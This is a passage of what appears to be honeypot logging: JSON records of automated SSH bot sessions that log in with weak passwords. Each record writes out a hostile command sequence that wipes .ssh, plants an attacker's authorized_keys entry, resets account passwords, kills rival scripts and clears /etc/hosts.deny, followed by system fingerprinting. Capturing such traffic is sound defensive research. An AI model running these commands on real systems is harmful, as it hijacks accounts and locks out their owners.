-l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T05:37:37.023288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T05:37:37.883341+00:00","kind":"output","latency_ms":null,"data":" 05:37:37 up 7 days, 2:27, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T05:37:38.204823+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T05:37:39.258116+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T05:37:39.578783+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T05:37:40.925859+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T05:37:41.244077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T05:37:43.328383+00:00","kind":"output","latency_ms":null,"data":"top - 05:37:43 up 7 days, 2:27, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T05:37:43.647643+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T05:37:44.534663+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T05:37:44.856477+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T05:37:45.710101+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T05:37:46.029103+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T05:37:47.006920+00:00","kind":"output","latency_ms":null,"data":"albert"},{"seq":31,"at":"2026-08-27T05:37:47.326281+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T05:37:49.039730+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T05:37:49.361571+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T05:37:50.990124+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"albert","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"8748a154-f78f-4b6f-a99e-fd7766247cef","name":"civil-chilly-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":57024,"username":"user1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:35:51.369794+00:00","ended_at":"2026-08-27T05:35:53.046591+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T05:35:32.194150+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:35:32.515290+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:35:36.322135+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:35:36.786561+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:35:37.105601+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345\\npTq0g3174I7s\\npTq0g3174I7s\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:35:37.423524+00:00","kind":"input","latency_ms":null,"data":"echo \"12345\\npTq0g3174I7s\\npTq0g3174I7s\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:35:37.739724+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:35:38.880649+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:35:39.200627+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:35:39.978110+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:35:40.300134+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:35:41.263111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:35:41.583780+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:35:42.411119+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:35:42.730516+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:35:43.553926+00:00","kind":"output","latency_ms":null,"data":" 05:35:43 up 7 days, 2:25, 0 user, load average: 0.33, 0.3, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:35:43.872798+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:35:44.684508+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:35:45.001698+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:35:45.689788+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:35:46.008519+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:35:46.843446+00:00","kind":"output","latency_ms":null,"data":"top - 05:35:46 up 7 days, 2:25, 0 user, load average: 0.33, 0.3, 0.33\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:35:47.163722+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:35:47.795235+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:35:48.113418+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:35:48.753366+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:35:49.073616+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:35:49.835281+00:00","kind":"output","latency_ms":null,"data":"user1"},{"seq":29,"at":"2026-08-27T05:35:50.154661+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:35:51.051718+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:35:51.370541+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:35:52.950012+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user1","password":"12345","method":"password","accepted":true,"tier":"other"}]} {"id":"5051a227-a361-4f9d-87af-aec86904a535","name":"gnarled-glassy-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":38680,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":332,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:33:51.635172+00:00","ended_at":"2026-08-27T05:33:53.597740+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2300,"events":[{"seq":1,"at":"2026-08-27T05:33:34.682775+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:33:35.013034+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:33:38.069765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:33:38.792461+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:33:39.124792+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MgIKz1iKgOHY\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:33:39.453675+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:33:39.786073+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:33:40.304432+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:33:40.645819+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:33:41.621844+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:33:41.956453+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:33:42.816150+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:33:43.148356+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:33:43.407050+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:33:43.738184+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:33:44.218929+00:00","kind":"output","latency_ms":null,"data":" 05:33:44 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:33:44.549361+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:33:44.930908+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:33:45.262622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:33:45.562187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:33:46.015666+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:33:46.622205+00:00","kind":"output","latency_ms":null,"data":"top - 05:33:46 up 7 days, 2:23, 0 user, load average: 0.11, 0.1, 0.1\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:33:46.955418+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:33:47.851546+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:33:48.183092+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:33:49.084385+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:33:49.413970+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:33:50.068520+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:33:50.400908+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:33:51.303836+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:33:51.635895+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:33:53.497018+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"q1w2e3r4A","method":"password","accepted":true,"tier":"other"}]} {"id":"73e31b22-0e57-47e8-8e1a-78697170d57e","name":"jovial-sturdy-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":46184,"username":"f","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:31:55.971028+00:00","ended_at":"2026-08-27T05:31:57.647501+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2240,"events":[{"seq":1,"at":"2026-08-27T05:31:37.211805+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:31:37.532270+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:31:41.670645+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:31:41.928749+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:31:42.251776+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nWiFuuNoVmfMl\\nWiFuuNoVmfMl\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:31:42.576035+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nWiFuuNoVmfMl\\nWiFuuNoVmfMl\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:31:42.896544+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:31:43.706491+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:31:44.036201+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:31:45.233296+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:31:45.564530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:31:46.657949+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:31:46.984104+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:31:47.777815+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:31:48.099018+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:31:48.887053+00:00","kind":"output","latency_ms":null,"data":" 05:31:48 up 7 days, 2:21, 0 user, load average: 0.1, 0.07, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:31:49.211168+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:31:49.501760+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:31:49.825105+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:31:50.375764+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:31:50.703234+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:31:51.020376+00:00","kind":"output","latency_ms":null,"data":"top - 05:31:51 up 7 days, 2:21, 0 user, load average: 0.1, 0.07, 0.08\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:31:51.343012+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:31:52.066680+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:31:52.390247+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:31:53.164892+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:31:53.488260+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:31:54.151228+00:00","kind":"output","latency_ms":null,"data":"f"},{"seq":29,"at":"2026-08-27T05:31:54.471154+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:31:55.650064+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:31:55.971804+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:31:57.550419+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"f","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"81381a86-19b8-4448-9172-d584b743fa7b","name":"bronzed-russet-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37166,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":316,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:29:57.271815+00:00","ended_at":"2026-08-27T05:29:58.450742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:29:39.286106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:29:39.601601+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:29:43.544082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:29:44.295742+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:29:44.614671+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ydcU03hJRsat\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:29:44.926058+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:29:45.241066+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:29:45.667565+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:29:45.981067+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:29:47.069815+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:29:47.388457+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:29:48.598454+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:29:48.914757+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:29:49.303819+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:29:49.631208+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:29:50.309906+00:00","kind":"output","latency_ms":null,"data":" 05:29:50 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:29:50.636838+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:29:51.077783+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:29:51.386370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:29:52.067492+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:29:52.381798+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:29:52.813572+00:00","kind":"output","latency_ms":null,"data":"top - 05:29:52 up 7 days, 2:19, 0 user, load average: 0.17, 0.21, 0.11\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 